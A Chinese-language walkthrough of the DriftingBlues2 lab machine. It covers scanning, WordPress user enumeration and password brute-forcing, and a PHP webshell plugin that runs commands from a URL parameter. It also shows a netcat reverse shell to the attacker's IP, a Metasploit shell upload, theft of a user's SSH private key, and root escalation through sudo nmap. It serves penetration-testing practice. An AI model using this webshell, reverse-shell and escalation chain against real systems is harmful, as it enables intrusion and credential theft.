driftingblues2

admin 2025年2月28日23:47:20评论5 views字数 1985阅读6分37秒阅读模式

攻击者ip:192.168.56.108 桥接(自动) vmare

受害者ip:192.168.56.124 仅主机 vxbox

主机发现

arp-scan -l

driftingblues2

端口扫描

nmap -p- -sV

driftingblues2

发现21端口ftp

尝试匿名登录

name:anonymous

password:空密码,直接回车

发现一个图片,下载到本地

driftingblues2

没藏东西

driftingblues2

driftingblues2

访问web页面

driftingblues2

扫描目录,可看出来这是wp博客后台

dirb http://192.168.56.124

driftingblues2

使用wpscan枚举用户

wpscan --url http://192.168.56.124/blog -e u

albert

driftingblues2

使用cewl爬取暴力破解的字典

cewl http://192.168.56.124/blog > pwd.txt

driftingblues2

密码爆破

wpscan --url http://192.168.56.124/blog/ -U albert -P /root/MidPwds.txt

albert / scotland1

wpscan --url http://driftingblues.box/blog/ --passwords /usr/share/wordlists/rockyou.txt --usernames albert          #如果是第一次使用这个字典文件进行爆破的话,需要先对这个字典文件进行解压,因为它是一个压缩包

driftingblues2

该host文件

1.访问http://192.168.56.124/blog/wp-admin/失败

2.访问http://192.168.56.124/blog/readme.html的登陆跳转,是直接跳转到http://driftingblues.box/blog/wp-login.php

driftingblues2

所以,改host文件

driftingblues2

访问http://192.168.56.124/blog/wp-login.php

登录

albert / scotland1

先上一个xss

driftingblues2

driftingblues2

driftingblues2

复制,粘贴,压缩,上传,

/** * Plugin Name:Webshell * Plugin URI:https//yuanfh.github.io * Description:WP Webshell for Pentest * Version:1.0 * Author:yuanfh * Author URI:https://yuanfh.github.io * License:https://yuanfh.github.io */if(isset($_GET['cmd'])){system($_GET['cmd']);}?>

driftingblues2

上传插件

driftingblues2

显示路径了

/var/www/html/blog/wp-content/plugins/shell-1/ 

driftingblues2

命令执行,反弹shell

http://driftingblues.box/blog/wp-content/plugins/shell-1/shelll.php?cmd=whoami

driftingblues2

driftingblues2

nc -e /bin/bash 192.168.56.108 1111

driftingblues2

反弹成功

优化shell

python -c 'import pty; pty.spawn("/bin/bash")'

driftingblues2

反弹shell2

修改404文件

view-source:http://driftingblues.box/blog/wp-content/themes/twentytwentyone/404.php?cmd=id

应为有很多404.php,需要访问相对应的404.php文件才行

driftingblues2

driftingblues2

反弹shell3

使用msf获取shell

use exploit/unix/webapp/wp_admin_shell_upload 设置使用模块

show options 查看需要设置那些参数

set password scotland1set rhost 192.168.56.124set targeturi /blogset username albertset lhost 192.168.56.108run

driftingblues2

driftingblues2

列出所有可用的命令

compgen -c

查看数据库账号密码

wp_user/password

库名:wordpress

driftingblues2

进入mysql

mysql -u wp_user -p

没找到啥东西

driftingblues2

在home发现freddie里面的user.txt,没权限打开

发现隐藏文件夹.ssh,id_rsa是ssh密钥

driftingblues2

复制id_rsa放到kali中chmod 400 id_rsa#修改权限,rsa需要400权限才可用ssh [email protected] -i id_rsa#使用rsa进行登入

driftingblues2

拿到一个flag

driftingblues2

sudo -l 列出目前用户可执行的指令

driftingblues2

使用nmap提权

echo 'os.execute("/bin/sh")' > getshellsudo nmap --script=getshell

driftingblues2

这时是看不见输入的,使用reset(能看见命令) + bash(能看见路径)即可

driftingblues2

原文始发于微信公众号(王之暴龙战神):driftingblues2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月28日23:47:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   driftingblues2https://cn-sec.com/archives/3779533.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息